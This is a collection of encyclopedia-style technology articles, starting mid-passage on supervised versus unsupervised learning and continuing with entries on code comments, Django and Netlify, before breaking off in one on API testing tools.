and correlations present in the data.\n    + **Output Feedback**: Supervised Learning has a direct feedback mechanism as the machine is trained with labeled data whereas there's no feedback mechanism involved in the case of Unsupervised Learning as the model is unaware of output.\n    + **Complexity**: Unsupervised models are more complex as they need large data to produce outputs/ insights as compared to Supervised models.\n    + **Applications**: Supervised algorithms are great for Spam Detection, Weather Forecasting, Price Predictions, etc. On the other hand, Unsupervised algorithms work well for Anomaly Detection, Recommendation Engines, and Medical Imaging, etc.\n\n### How to decide whether to use Supervised or Unsupervised Learning for a particular task?\n\nTo decide on which Machine Learning model to choose, one needs to answer the following questions:\n\n    + **Input Data**: Is the data labeled or unlabeled? For Supervised algorithms to work, entire data needs to be labeled and Unsupervised algorithms work best with unlabeled data.\n    + **Goals**: The problem to be solved is defined or not? Supervised algorithms can work only if the problem is well-defined but Unsupervised algorithms will be able to find hidden patterns and insights from the data and generate new problems.\n    + **Algorithms**: Does the dimensionality of your data coincide with that of existing algorithms? Will the algorithm support the amount of data you have?So, Supervised Learning gives quite accurate results but fails to perform on large data. Contrarily, Unsupervised algorithms can handle large data but can yield inaccurate results.\n\n\n### What to do when the data has both labeled and unlabeled data items?\n\nWhen the data has both labeled and unlabeled data items, **Semi-Supervised Learning** can be preferred. Semi-Supervised Learning integrates both Supervised and Unsupervised approaches. It was introduced to counter the expensive costs of acquiring labeled data. So, this model is trained on a large chunk of unlabeled data combined with a small chunk of labeled data. \n\nSemi-Supervised Learning uses Unsupervised Learning approach to cluster similar data and then trains the model on different batches of data labeling the unlabeled data. These labels are called *Pseudo Labels*. The model is now trained on the combination of pseudo labeled and labeled data which leads to improvement in the model's accuracy. \n\nSemi-Supervised Learning can ideal for the medical field wherein the doctor's efforts combined with that of the machine can lead to better accuracy. For example, a *Radiologist* can manually label some CT scans for tumors which can increase the machine's accuracy of predicting the right patients who need medical attention. \n\n\n### What is self-supervised learning and how it related to supervised and unsupervised learning?\n\n**Self Supervised Learning** is based on artificial neural network. It obtains supervisory signals from data itself predicting the hidden part of input from unhidden part of input. First, it recognises the pseudo labels and then uses supervised and unsupervised learning for further task.\n\nSelf-Supervised Learning is considered as autonomous form of *Supervised Learning* where there is no need of labeled input/outputs. It is like an extension to *Unsupervised Learning* but does not involve grouping or clustering. Alike *Semi-Supervised Learning*, it depends on manually labeled data. However, it does not require any prior labeled data as *Semi-Supervised Learning* does. \n\nSelf-Supervised Learning automates the process of labeling the data minimizing the cost of obtaining labeled data for *Supervised Learning*. Self-Supervised Learning applications include speech recognition, voice recognition, face detection, 3-d rotations etc.\n\nReal Life examples include:\n\n    + Wav2vec, a Facebook algorithm used to perform speech recognition.\n    + BERT, Bidirectional Encoder Representations from Transformers, a Google algorithm used to understand the context of search queries better.\n\n\n## Milestones\n\n1943\n\nFirst mathematical model of neural networks presented in the scientific paper \"A logical calculus of the ideas immanent in nervous activity\" by Walter Pitts and Warren McCulloch. \n\n1949\n\nThe book \"The Organization of Behavior\" by Donald Hebb is published. This book has theories on relationship of neural networks and brain activity. \n\n1950\n\nAlan Turing creates the “Turing Test” to determine if a computer had human-like intelligence. For passing this test, a computer should be able to make a human believe that it is another human. \n\n1952\n\nArthur Samuel, from IBM, made the first computer program on the game of checkers. IBM tried to improve it by iteratively making winning strategies. This led to development of alpha-beta pruning and minimax algorithm. \n\n1957\n\nFrank Rosenblatt combines Donald Hebb's model of brain cell with Arthur Samuel's theory of machine learning to create a perceptron. It successfully stimulated the thought processes of the human brain. This is where today’s neural networks originate from. \n\n1967\n\nMarcello Pelillo created the K-Nearest Neighbor algorithm (**Supervised Learning**)which is used for classification and regression in machine learning. This could give the solution to traveling salesmen problem (start from a random city and visit all cities in shortest possible distance). \n\n1990\n\nThis year saw the transformation of Machine Learning from a knowledge-driven approach to a data-driven approach. Researchers created programs for computers that could analyze large amounts of data and draw conclusions from the results. (**Unsupervised learning**) \n\n1995\n\nRandom Forest Algorithm got introduced in a paper published by Tin Kam Ho. This algorithm creates and merges multiple AI decisions into a \"forest\". When relying on multiple different decision trees, the model significantly improves in its accuracy and decision-making. \n\n2009\n\nThe book “Introduction to Semi-Supervised Learning” was published in 2009 and was written by Xiaojin Zhu and Andrew Goldberg.","meta":{"title":"Supervised vs Unsupervised Learning","href":"supervised-vs-unsupervised-learning"}}
{"text":"# Code Comments\n\n## Summary\n\n\nCode is typically written once but read by many. Current or future team members will read the code. In an open source project, many more folks including end users may read the code. Therefore, code readability is important. Sometimes when the code alone doesn't provide context or clarify intent, the developer may write extra descriptions. These descriptions are called **code comments**. \n\nCode comments enhance readability. They facilitate code reviews, refactoring, and maintenance. Moreover, code comments are ignored by compilers and interpreters when producing the final executable. Thus, they incur no runtime performance overhead. However, too many or unnecessary comments can reduce readability.\n\nAll modern languages support code comments. Different languages have different syntaxes. Comments can be single-line or multi-line.\n\n## Discussion\n\n### What are the purposes for which code comments make sense?\n\nCode comments are used for various purposes: \n\n    + **Description**: Used for describing the logic behind the code, not the code itself. Used for describing the algorithm or explaining why it was chosen. Even flowcharts in ASCII could be included.\n    + **Licensing**: Licensing or copyright information are written as comments.\n    + **Metadata**: Could include author and date of the first version, name and contact of current maintainer. Could include external references to provide context, such as, a published paper or a StackOverflow answer.\n    + **Pending Work**: Comments tagged with `FIXME` or `TODO` indicate pending work. Editors/IDEs often recognize them.\n    + **Debugging**: Developers comment out redundant code or code causing problems. These comments are ideally deleted once the problem is found.\n    + **Directives**: Directives meant for editors and interpreters. For example, UNIX scripts use `#!` to know what interpreter must be used. Python uses `# -*- coding: UTF-8 -*-` to inform the encoding used for the source file.\n    + **Documentation**: For documenting interfaces and to assist editors/IDEs. Tools exist to automatically create documentation from these comments. Some developers treat these as documentation, not comments.\n\n### What are some anti-patterns when writing code comments?\n\nWriting lots of comments explaining every single detail of what the code does is an anti-pattern. Too many comments clutter the source file and reduce readability. Moreover, such comments are also hard to maintain as the code evolves. \n\nUsing comments to keep a historical record of how the code has evolved is an anti-pattern. This is best done by your version control system. Old code that's no longer used should not be commented. It's cleaner to delete the code. If required, we can always get it from the version control system. \n\nMagic comments are those that give editors and interpreters directives. These may be important for the correct working of the software. Mixing such comments with regular comments can be problematic. Someone may delete the magic comments by mistake. \n\n\n### Aren't comments an indication of bad code?\n\nSome developers believe that comments are not necessary if the code is clean. Comments don't fix bad code. It's been said that, \n\n> Don't document bad code – rewrite it.\n\nFrom this perspective, there are ways to refactor bad code and get rid of unnecessary comments: \n\n    + **Naming**: A variable `i` could be renamed to `numGoals`, which clarifies intention. Do this for variables, methods and classes.\n    + **Structure**: If a code fragment can't be understood without comments, try to change the code structure. Design patterns help in this regard.\n    + **Sub-expressions**: Where there's a complex expression, split it into multiple sub-expressions.\n    + **New Method**: A comment that explains a block of code can be removed by extracting that code into its own method. The method's name should clarify intent.\n    + **Assertion**: A variable may be expected to obey some constraint. Don't state this in a comment. Instead, use an assertion.When all the above are employed and code is refactored, only a few comments may remain. Mostly likely, these explain why the code is written in a certain way or describe complex algorithms that couldn't be simplified. \n\n\n### Could you share some tips for writing code comments?\n\nAvoid commenting what's already obvious in the code. Comments should explain at a higher level of abstraction. In other words, \"why\" comments are good, \"how\" comments are bad. \n\nOrganize code into blocks, each block performing a single task. A comment could precede each block. This makes it easier for others to follow the flow at a high level. In fact, some developers write these comments first before writing the code.  \n\nGet to the point. Avoid jokes, poetry and verbosity. Be polite in your comments. Write comments in a consistent style. Write them for other developers, although some write them for non-programmers. If you write `TODO` comments, remember to take action on these later. Update comments when updating code. \n\nSome developers argue that multi-line nested comments are a bad idea. They can lead to *run-away comments* that create bugs. \n\nTake inspiration from guidelines defined by others. For example, Google Style Guides are available for many languages and most of these include guidelines for comments. There are also guidelines for documenting APIs. \n\n\n### What are some patterns for writing code comments?\n\nExperienced developers most likely know when and how to write good code comments. Chris Travers has attempted to formalize these practices by giving them names: \n\n    + **Documentation Comment Pattern**: For documenting interfaces and not for explaining the code itself.\n    + **Section Heading Comment Pattern**: Comments are used to separate sections of code, such as public vs private methods. Helpful to organize code and find things quickly later.\n    + **Footnote Comment Pattern**: Comments that describe why a particular approach was adopted. Short and informative. Generally used when such information can't be deduced from the code.\n    + **Warning Comment Pattern**: Comments that warn developers of some special needs, such as calling a function as a superuser. Warnings may be about security or design flaws. Comments may include `TODO` or `FIXME` annotations.\n    + **Signed Comment Pattern**: Useful in a team. Comments are accompanied by initials of the developer. Makes it easy to know who to approach for discussions.\n    + **Woven Code Pattern**: Code and documentation are go together. Document first and then code to that documentation.\n\n### Which are the syntax types for code comments?\n\nComment syntaxes vary across languages but basically there are two types:  \n\n    + **Inline Comment**: Used for a single-line comment, marked by a start comment token till the end of the line.\n    + **Block Comment**: Used for a multi-line comment, marked by a pair of start-end comment tokens. In some languages, block comments can be nested, that is, a block comment within another block comment is permitted.A language may support one or both types of syntaxes. Some languages such as ALGOL, Mathematica, OCaml, Simula, and Smalltalk don't have a single-line comment syntax but the token pair for block comments may be used within the same line. Some languages such as R, Python, FORTRAN, Erlang and Visual Basic don't have block comments. Though Python has `\"\"\" … \"\"\"`, these are meant for documentation, not comments.\n\nPHP is an example that supports multiple syntaxes for inline comments (`#` and `//`). \n\n\n### What's the syntax for adding comments to source code?\n\nWithout being exhaustive, we list some start tokens used for inline comments: \n\n    + **`#`**: UNIX/Linux shells, Cobra, Perl, Python, Ruby, Seed7, Windows PowerShell, PHP, R, Make, Maple, Elixir, Nim\n    + `//`: ActionScript, C, C++, C#, D, F#, Go, Java, JavaScript, Kotlin, Objective-C, PHP, Rust, Scala, SASS, Swift, Xojo\n    + `--`: Euphoria, Haskell, SQL, Ada, AppleScript, Eiffel, Lua, VHDL, SGML, PureScript\n    + `%`: TeX, Prolog, MATLAB, Erlang, S-Lang, Visual Prolog\n    + `;`: Assembly x86, Lisp, Common Lisp, Clojure, Scheme\n    + `REM`: BASIC, Batch filesWe list some start-end token pairs for block comments: \n\n    + `/* … */`: ActionScript, C, C++, C#, D, Go, Java, JavaScript, Kotlin, Objective-C, PHP, PL/I, Prolog, Rexx, Rust, Scala, SAS, SASS, SQL, Swift, Visual Prolog, CSS\n    + `(* … *)`: Delphi, ML, Mathematica, Object Pascal, Pascal, Seed7, Applescript, OCaml, Standard ML, Maple, Newspeak, F#\n    + `#| … |#`: Lisp, Scheme, Racket\n    + `=begin … =end`: Ruby\n\n### Can data have comments attached to them?\n\nIndeed, data can have comments too. Like code comments, these can be descriptions, metadata, references, etc. For example, static web content is served commonly in HTML. HTML (and XML) documents can have comments within `<!-- … -->` that are not displayed by web browsers. \n\nIt's common for computer systems to use **configuration files**. Typical formats are Microsoft Windows INI, XML, JSON and YAML. Except for JSON, all others allow for comments. Although JSON doesn't support comments by syntax, developers have found a way to add comments from a semantic standpoint by following certain naming conventions. For example, `\"_comment1\": \"this is my comment\"` is a comment although JSON parsers will treat is as data. The reason JSON doesn't have a comment syntax is that developers were adding parsing directives in them, thereby making it less interoperable. \n\nComments in configuration files probably make sense just as comments in code. In a quote that's attributed to James Gosling, it's been said that, \n\n> Every configuration file becomes a programming language, so you might as well think that way.\n\n## Milestones\n\n1957\n\nDesigned at IBM, FORTRAN is released as a programming language along with a compiler. FORTRAN allows comments, thereby making the code accessible to non-programmers. A comment is a **full-line comment** marked by letter *C* at position 1 till the end of the line. COBOL and BASIC that follow soon after also support comments from a fixed position. The use of fixed position simplified compiler design. We should note that since the early 1950s assemblers have supported comments starting at any position, including **trailing comments**. \n\n1960\n\nALGOL is defined by a committee as a \"second-generation\" language. It supports **block comments**. Pascal takes inspiration from ALGOL and is released in 1970. It also supports block comments.  \n\n1970\n\nThrough the 1970s, structured programming becomes more popular. The same can be said of object-oriented programming in the 1980s. Programs evolve to higher levels of abstraction. Programs become more organized. Computer systems have more memory and so variable names could be longer and more descriptive. Hungarian notation is less favoured. These developments imply a lesser need to write comments. \n\n1981\n\nIn one of the earliest experiments, Woodfield et al. find that code comments **improve readability**. Tenny (1985) shows that comments improve the understanding of the Banker's Algorithm. Further experiments through the 1980s and early 1990s confirm these findings and highlight the importance of code comments in maintaining large software projects. \n\nOct  \n2007\n\nFluri et al. report results of a study on how code and its comments evolve. Based on three open source projects, they find that new code is barely accompanied by comments. Class and method declarations are commented more often than method calls. About 97% of comment changes are done in the same version as the code changes. Their research method associates code with comments based on proximity and a token-based string similarity measure. \n\n2010\n\nSince writing comments is extra work for developers, it's common to encounter code that's inadequately commented. During the period 2010-2014, tools emerge to **automatically generate code comments**. These use techniques from Information Retrieval (IR). From the mid-2010s, neural networks are more often employed for this problem. \n\n2011\n\nHaouari et al. present one of the first taxonomies for code comments. They identify four high-level categories. \n\n2013\n\nSteidl et al. identify seven high-level categories of comments. Their main aim is to understand developers' commenting habits. They find that commenting out code has negative impact on code readability. Section comments such as `// ---- Getter and Setter Methods ---` improve readability. Method comments help callers understand the system design and how to call those methods. \n\nFeb  \n2019\n\nCode comments sometimes include links to licenses, software homepages, and specifications. Hata et al. analyze 9.6 million links and find that about 10% are outdated. The point is that links in comments are fragile and need regular maintenance. \n\nApr  \n2019\n\nPascarella et al. manually classify 40,000 lines of code comments from 14 open source Java projects. Their goal is to empirically determine the types of comments developers are writing. In the process, they develop a **taxonomy of code comments**. They also develop machine learning features and algorithms to automate the classification.","meta":{"title":"Code Comments","href":"code-comments"}}
{"text":"# Django\n\n## Summary\n\n\nDjango is a free open source web framework written in Python. Like any web framework, it simplifies the development of web applications. It's tagline refers to Django as \"the web framework for perfectionists with deadlines\". Django Software Foundation, which is a non-profit organization, maintains Django.\n\nThe following claims are made about Django: ridiculously fast, fully loaded, reassuringly secure, exceedingly scalable and incredibly versatile. Django's default installation can be extended with third-party packages, such as from Django Packages.\n\nWhile meant primarily for fullstack web apps (often database driven), Django can be used to provide backend services for mobile apps via REST API calls, to build real-time apps or even a content management system.\n\n## Discussion\n\n### What does it mean to say that Django is \"fully loaded\"?\n\nDjango's default installation comes with capabilities common for typical web applications. This includes user authentication, content administration, database ORM, database schema migrations, URL routing, RSS feeds, a templating engine, forms, a caching framework, CSRF protection, and many more. Variously called as \"fully loaded\", \"full stack\", \"out of the box\" or \"batteries included\", they all mean the same thing: default installation contains lots of features that we need not download and install individually. \n\nThis does not imply that developers are restricted to using only what Django ships. Django is flexible enough to allow developers to use their preferred alternatives. For example, developers can use their own templating engine or ORM.\n\n\n### What are the advantages of Django?\n\nAdvantages include the following: \n\n    + Django is based on Python, which is a popular language that's easy to learn and powerful. Python works on any platform and is also open source.\n    + Django's official documentation is comprehensive and includes easy to follow tutorials.\n    + Django has an active community that contribute via open packages, tutorials, books and code snippets.\n    + Because Django takes the \"batteries included\" approach, downloading it and getting started is quick and easy.\n    + With Django's built-in admin interface, it's easy to organize model fields or process data.\n    + Django adapts the well-known MVC architecture and therefore code can be written with clean abstractions.\n    + Django community makes regular stable releases, some of which are Long Term Support (LTS) releases that get three years of support.\n\n### What's the architecture used by Django?\n\nDjango uses what is called MTV Architecture: Model-Template-View. This is equivalent to the more well-known MVC architecture: Model-View-Controller. The traditional controller's job is done by the framework itself and hence the MTV nomenclature does not emphasize it. \n\nThe components of MTV architecture as are follows: \n\n    + **Model** - Data access layer. This deals with access, validation and relationships among data. Models are Python classes that mediate between Django ORM and the database tables.\n    + **Template** - Presentation layer. This deals with how data is displayed to the client.\n    + **View** - Business logic layer. This is a bridge between models and templates. A view accesses model data and redirects it to a template for presentation. Unlike the definition of a view in traditional MVC architecture, a Django view describes which data you see, not how you see it. It's about processing, not presentation.\n\n### What are the different backend databases supported?\n\nDjango officially supports PostgreSQL, MySQL, SQLite and Oracle Database Server. In addition, third-party vendors provide support to interface their databases to Django. These include SAP SQL Anywhere, IBM DB2, Microsoft SQL Server, Firebird and ODBC. A branch of Django development called Django-nonrel is already supports a couple of non-relational databases, MongoDB and Google App Engine. However, support for many more NoSQL are listed on the NoSqlSupport Wiki page. \n\nAll these databases need to provide a driver in Python. Psycopg is a popular one for PostgreSQL. MySQLdb is a driver for MySQL but it does not support Python 3. Its equivalent driver for Python 3 is mysqlclient. All these drivers conform to Python DB API.\n\nPostgreSQL is preferred by the Django community. A Django app can connect to multiple databases. \n\n\n### What are some popular large-scale websites using Django?\n\nDjango has been used in the following sites: Disqus, Bitbucket, Instagram, Mozilla Firefox, Pinterest, NASA, The Washington Post and Eventbrite. Pinterest later migrated to Flask due to their need for database sharding. \n\n DjangoSites is a site that tracks websites that are built using Django. As of October 2017, more than 5000 sites are listed.\n\n\n### How does Django compare against other web frameworks?\n\nAs of July 2017, Django was the sixth most popular web framework. When considering only Python-based frameworks, it was in the top position. When looking at stars and forks on GitHub, Django, Flask and Tornado come up on top. \n\nAmong the Python-based frameworks are the following: \n\n    + **Non-full-stack** - Flask, Bottle, CherryPy, Pyramid\n    + **Full-stack** - Django, Tornado, TurboGears, web2pyIt's been said that Flask is a microframework suited for small apps with simple requirements. For larger apps, Pyramid or Django may be more suitable. Pyramid allows developers to put together the right tools for their app and hence offers more flexibility than the \"batteries included\" approach of Django. For example, Django ORM comes out of the box but Flask and Pyramid let developers choose any ORM of their choice. With Tornado, developers can do asynchronous programming.\n\n\n### Is Django recommended for a Python beginner?\n\nFlask is probably easiest to learn for beginners. Django has some learning curve but this effort will be worthwhile in the long run when building complex apps. Developers have commented that Web.py and Bottle are suitable for beginners. \n\nIt's important to know Python well before starting on any web framework. For example, it's been mentioned that trying to learn Python via Django is not the right approach. \n\n\n### Can you share some performance results of Django?\n\nPerformance of Django in terms of throughput is seen to be above average, while Bottle and Pyramid appear to lead the pack. We should keep in mind that performance metrics are many (speed, memory consumption, etc.) and may involve tradeoffs. \n\nA direct comparison between Django and Ruby on Rails done in January 2017 shows that on average Python is slower than Ruby by 0.7%. Benchmark tests on three different hardware show that CPPSP and Go are highly performant. Django does poorly in these tests. \n\nIt's been claimed that Django sites have handled peak traffic of 50K hits per second. Discus has used an HTTP caching layer called Varnish to scale to 45K hits per second. They make the point that the bottleneck in their app is due to slow database queries or network latency rather than the web framework. \n\n\n### Can Django be used for mobile apps, REST APIs or microservices?\n\nDjango cannot be used for developing native mobile apps. However, backend services for a mobile app can be developed with Django. Django REST framework can be used to build RESTful APIs for both web and mobile (native or hybrid) apps.\n\n\n### Is Django suited for real-time services and asynchronous apps?\n\nThere are frameworks such as Meteor (Node.js) and Derby (JavaScript) that have been designed for real-time services and event-driven model. Within the world of Python, there are frameworks that support real-time needs of modern apps. \n\nDjango was not designed for real time. However, with suitable add-on packages such as Django Channels, it can be used for real-time apps. A curated list of Python asynchronous frameworks and libraries is also being maintained on GitHub. This includes Tornado, gevent, asyncio and Twisted. Celery addresses real-time requirements and has provision to integrate with Django.\n\n\n### What is the best way to test a Django-based web app?\n\nDjango relies on `unittest` module of Python for testing but developers can choose to use other testing frameworks of their choice. Django offers a test client that allows us to programmatically sends requests and validate responses. It's recommended that testing should involve a combination of Django test clients and \"in-browser\" testing frameworks such as Selenium. \n\n\n### What is WSGI in the context of deploying a Django web app?\n\nWSGI stands for Web Server Gateway Interface and is standardized as PEP 3333. It sits as a high-level interface between Python-based web applications and web servers. This improves portability of apps across different web servers that support WSGI. Because of WSGI, a particular choice of a Python web framework need not limit the deployment to only servers that support that framework. \n\nDjango development environment comes with a lightweight server but for production such a server is not suitable. Django is a web framework that needs a separate web server. This is unlike some frameworks such as CherryPy that has a built-in WSGI server. \n\nDjango documentation describes the steps to deploy the same app across different web servers: Apache with mod\\_wsgi, Gunicorn or uWSGI. When deploying to the cloud, cloud providers usually share the deployment steps. For example, Nginx could be the frontend web server that interfaces with uWSGI application server, which in turn invokes the Django application. \n\n## Milestones\n\n2003\n\nWeb programmers Adrian Holovaty and Simon Willison begin using Python to build web apps for Lawrence Journal-World newspaper. Django has its roots here. This also implies that Django was from the outset focused on solving real-world problems. \n\nJul  \n2005\n\nDjango is released to the public. The framework is named Django after jazz guitarist Django Reinhardt. \n\nDec  \n2005\n\nFirst Django app launched at The Washington Post. \n\nMar  \n2011\n\nDjango 1.3 starts support for class-based views. \n\nFeb  \n2013\n\nSupport for Python 3 is added. \n\nApr  \n2017\n\nDjango 1.11 is released. It's the final major release to have support for Python 2. This will be supported till April 2020. \n\nDec  \n2017\n\nDjango 2.0 is released with only Python 3.4+ support.","meta":{"title":"Django","href":"django"}}
{"text":"# Netlify\n\n## Summary\n\n\nNetlify is a platform for web developers to host their sites in the cloud without managing any servers in the back-end where application logic and database works. Updates to the Web applications can be automated by integrating any git based Version Control System supported by Netlify.\n\n It can have dynamic functionalities which change constantly. Netlify builds its own kind of file storage and management system to push updates both to Git providers and Netlify simultaneously getting connected to the repository.\n\nEvery update/changes made to the content is distributed across the servers spread over in the content delivery network (CDN) and pre-built as static pages with file optimization before being delivered to the users.  Visitors of a website in Netlify get the pre-loaded version of website from a geographically nearest server reducing the loading time.\n\n## Discussion\n\n### Why should I use Netlify?\n\nNetlify is the first one to offer Jamstack architecture with modern tools. .The Term \"Jamstack\" was coined by Netlify's Co-founder Mathias Billman which means a development stack made up of JavaScript, APIs, and templated Markup. .Netlify boosts web developer productivity since it is serverless and eliminates the need for developers to manage servers, which Netlify performs automatically. It provides many interesting features even in it's free plan. Web development sector is constantly moving to decoupled environment provided by Netlify in which the frontend,database and backend works independent of each other helping developers to easily to scale, manage and increase the performance of their websites.\n\n\n### What are some useful features of Netlify?\n\n    + **Rollbacks**: Previous versions of a web project can be selected and reverted using the Rollback option. This can be helpful if the present deployment has any issues in it. Netlify uses the atomic deploy concept in which changes are never in an inconsistent state and file uploads made sure for completed for a successful deployment.\n    + **Development in Local Machine**: A local development environment with all the netlify features can be created using Netlify Dev.\n    + **Redirects API** : Powerful feature to configure redirects, rewrites etc from the distributed content delivery network (CDN) of netlify. It can be done using adding a `redirects` file to the root of site folder.\n    + **Serverless functions** : Adding serverless function requires only a single line of code addition to the `netlify.toml` file. It is built and deployed along with the netlify site for running server-side code without a dedicated server\n    + **Deploy Previews** : Changes made to the site can be previewed even before deployment. Netlify generates previews by default for all pull and merge requests in Github and Gitlab.\n    + **Playground** : An application where users can test configuration rules before setting those in the Netlify site in realtime.\n\n### What's the Netlify architecture?\n\nNetlify sites are prebuilt and deployed on the Global Edge Network, a CDN. This helps speed up the website loading by placing copies of files in the servers geographically closer to the website visitors. Netlify users are not required to manage any web servers. This is possible with the introduction of a new architecture known as the Jamstack.  \n\n    + **Frontend**: Netlify is a infrastructure provider of Jamstack which decouples frontend from the backend and database. Netlify's Jamstack application delivers a precompiled and optimized static frontend which is deployed globally to the Edge CDN. The Frontend uses Javascript and APIs to communicate with backend services.\n    + **Backend** : Backend Services are built as Serverless functions and distributed as various microservices making the load less. Functions built on Netlify are deployed to AWS Lambda and made as an API endpoint. Credentials required for the frontend to connect with the backend services are stored securely.\n    + **Database** :Netlify does not provide database services directly. Users of Netlify can utilise any backend provider they like, but preferred partners are: DataStax, Fauna, Nimbella, and StepZen.\n\n### What's the Netlify Command Line Interface (CLI)?\n\nNetlify CLI is used to configure and deploy a website straight from the Development Server on a local machine which can be shared with others to run a local build, plugins and deploy a site. Netlify CLI runs on top of Node JS. CLI was redesigned and introduced as Netlify Dev. There are many commands available in Netlify to work with the CLI version. \n\nAll Features of Netlify is brought to local machine. Netlify's production routing engine is installed on a local development server, which makes all redirects, proxy rules, function routes, and add-on routes available locally and environment variables are set from the site environment. Live collaboration with multiple people is also possible with the CLI version of Netlify by running netlify dev `--live` command. \n\n\n### What's static routing in Netlify?\n\nStatic Routing helps to manage the traffic on a Netlify site. There are many powerful static routing features like redirects, rewrites, proxies which can be enabled using `redirects` file or in `netlify.toml` file. Edge Nodes in the Netlify CDN analyzes the rules written in these files and points the website visitors to various different paths or routes accordingly. Paths can be based on certain conditions like language or the location of the website visitor. Proxies written in the file can redirect the incoming request to another website or can execute a serverless function. \n\nCustom HTTP headers can also be sent as a response to the site requests. They can be managed in `headers` file or in the `netlify.toml` configuration file.\n\n\n### What are edge handlers in Netlify?\n\nEdge handlers allow us to do programmable routing by giving a personalized experience to the website visitors. It is a redeveloped version of Netlify's Edge Network built with multiple cloud providers to handle complex tasks and reduce workload for developers. \n\nIt can alter both incoming and outgoing traffic also it has capabilities far beyond static routing as it can filter and manipulate HTTP requests and responses.\n\nIt can intercept incoming HTTP requests and change the route of traffic depending on the request. Also,it has lower latency than Netlify functions useful for making quick routing decisions to provide features such as Localized content or personalized ads.\n\nDuring deployment of the website Netlify's bot checks for the netlify/edge-handlers directory in the base directory of the repository. \n\nEdge handlers are configured as two files in a repository. \n\n    + Handler file: It is written in Javascript. Handlers should export a function named onRequest which receives a Javascript event object containing the information about the handler request.\n    + Handler declaration: This is declared in In netlify.toml file by adding `[[edge_handlers]]` with the path and handler to execute the requests coming in that path.\n\n### What are Netlify functions used for?\n\nNetlify functions are used to perform complicated javascript functions that would be impossible to do by running javascript on the client side. The Functions tab in the web interface provides access to functions. Bundlers are used to optimise functions in order to make them smaller and faster. \n\nFunctions are written as scripts that can be deployed on netlify directly. It is hidden from public view and works as API endpoints.updates to the function on a production branch will not affect the version deployed under a branch or in a deploy preview as it is immutable.\n\nFetching live data from an API, pulling dynamic graphics, sending an automatic email, and validating an input submitted by a user in the field are a few examples of Netlify functions.\n\n\n### What are Netlify's background functions?\n\nTraditional Functions are synchronous by default with an execution time of 10seconds which makes it difficult to manage long running process but it can be made Asynchronous by adding `--background` to the end of the filename with runtime longer than 10 seconds and up to 15minutes with a default memory of 1024mb. For tasks such as Batch processing, web scraping etc...which need the API to execute longer asynchronous Background functions are helpful. \n\n\n### Is Netlify good for SEO?\n\nSEO is a secondary priority for JamStack Technology since, while it is constantly growing, it is not particularly SEO friendly. By, taking care of a few things SEO can be improved, as indicated by Netlify. \n\nMaking Sitemaps and Maintaining a Clean URL Structure: The click through rate (CTR) and average time spent on the page have an impact on search engine ranking, which leads to a higher search engine ranking and a better user experience. Site maps are important to get higher presence in search engines by crawling pages available in a website. Also the structure of URL plays a key role in users clicking the link. Static URL is more preferred and SEO friendly.\n\nOptimizing Assets: Netlify by default has Asset Optimization which bundles and compresses the HTML, CSS,JS files used in the project.\n\n## Milestones\n\nOct  \n2013\n\nMathias Billmann launches Bit Ballon for hosting HTML5 static website and apps with easy drag and drop feature under Makerloop Inc. \n\nApr  \n2015\n\nMathias Billmann and Christian Bach launches it as Netlify.com under the company Makerloop Inc. to host static sites and Apps with continuous deployment workflow with github support. Netlify will run the build command and deploy whenever an update is pushed to github. .\n\nOct  \n2015\n\nSmarter Redirects is introduced to avoid a chain of redirects. A single efficient rule for redirect is implemented. \n\nJan  \n2016\n\nNetlify starts to offer Free SSL Certificate with automatic renewal and provisioning feature to the users in a single click in collaboration with Let's Encrypt. A new system is developed by netlify for transferring SSL certificates and associated keys over a secure encrypted connections to avoid storing sensitive keys on Netlify's CDN edge nodes. \n\nJul  \n2016\n\n**Gitlab integration is added to deploy repositories in Netlify due to the increasing popularity and requests from users**. . Deploy previews help users to see changes in Production environment without actually deploying it.  \n\nMar  \n2017\n\nNew system design is implemented. Changes made to the user interface and new header 'Hero Card' is designed. It is the first element for most of the pages showing a quick summary of page giving access to commonly used actions and information. \n\nJun  \n2017\n\nTwo New Features were introduced based on Edge Logic Requests (ELRs) in which the Netlify's CDN will handle requests that are normally done through server or client-side in Javascript to overcome traditional way of static files getting served from CDN. Branch Based Split testing feature is introduced where pull requests are deployed into a unique subdomain to see the changes even before merging. JSON Web tokens is introduced for assigning authentication and user management to any other services that can generate JSON Web Tokens to allow granular role-based permissions.  \n\nDec  \n2017\n\nMakerloop Inc under the brand which Netlify was running is renamed to Netlify Inc. \n\nMar  \n2018\n\n**Netlify functions is launched making the deployment of serverless AWS Lambda functions easy as adding a file to a git repository**. Server side code will work as API endpoints without having to run it on dedicated server. Netlify Identity a JSON web token based user authentication feature with Netlify Forms which helps users to get all HTML form submissions in their Netlify dashboard is launched. \n\nAug  \n2018\n\nNetlify drop is introduced to replace bitballon a drag and drop depolyment for hosting static sites written in HTML, CSS, and JS. Netlify hosts the site and gives us the link to access it. \n\nFeb  \n2019\n\nNetlify large media is launched, a service built on the top of Git LFS to remove heavy binary files from the repository. .Git LFS is an extension of Git which uses pointers on the repository to point the assets stored in a remote server. Using Netlify large media size of the repositories can be reduced and site build times can be increased. \n\nMay  \n2020\n\nNetlify build plugins is introduced to make the development process easier by automating build tasks and customizing build process. It also has one click install to cache files, checking broken links and trigger tests etc. \n\nJul  \n2021\n\nFour new database partners DataStax, Fauna, Nimbella, and StepZen is added to provide serverless database to the users. Integration with these services can help developers run their backend services more easier and faster.","meta":{"title":"Netlify","href":"netlify"}}
{"text":"# API Testing Tools\n\n## Summary\n\n\nAs organizations move towards DevOps, Continuous Integration (CI) and Continuous Delivery/Deployment (CD), there's a need to have quicker feedback from testing. End-to-end or UI testing are slow. API testing is one solution but it must be easy to create, execute and maintain API tests. It needs to be automated as much as possible. To enable this, many tools are available in the market. \n\nThere are both open-source and commercial API testing tools. We can't say which of these is the best. We should select a tool that best suits our project. The selection should be based on features and how well it integrates with other tools and our processes. \n\nSince 2018, some tools are beginning to adopt AI/ML. This could become an essential feature in the years to come.\n\n## Discussion\n\n### What should I look for when selecting an API testing tool?\n\nAt the minimum, any tool should make API requests and validate responses. Other features to consider are: easy to install, learn and customize; good documentation; available on multiple platforms/devices; supports multiple protocols (REST, SOAP, HTTP, JMS, TCP/IP); integrates with CI/CD pipelines; can sniff exploratory tests to automatically create API tests; tests but also validates API specifications. \n\nThe **syntax** for writing tests must be simple enough for those with little coding experience. \n\nPick a tool that **integrates** with your automation framework. For example, REST-assured integrates seamlessly with Serenity. \n\nFor teams, the tool should enable **collaboration**. It should be possible to share test cases and results, or publish tests and allow others to run them easily. \n\nSome tools such as SoapUI are dedicated to API testing. Others such as JMeter was designed for load testing but supports API testing. Swagger is meant for 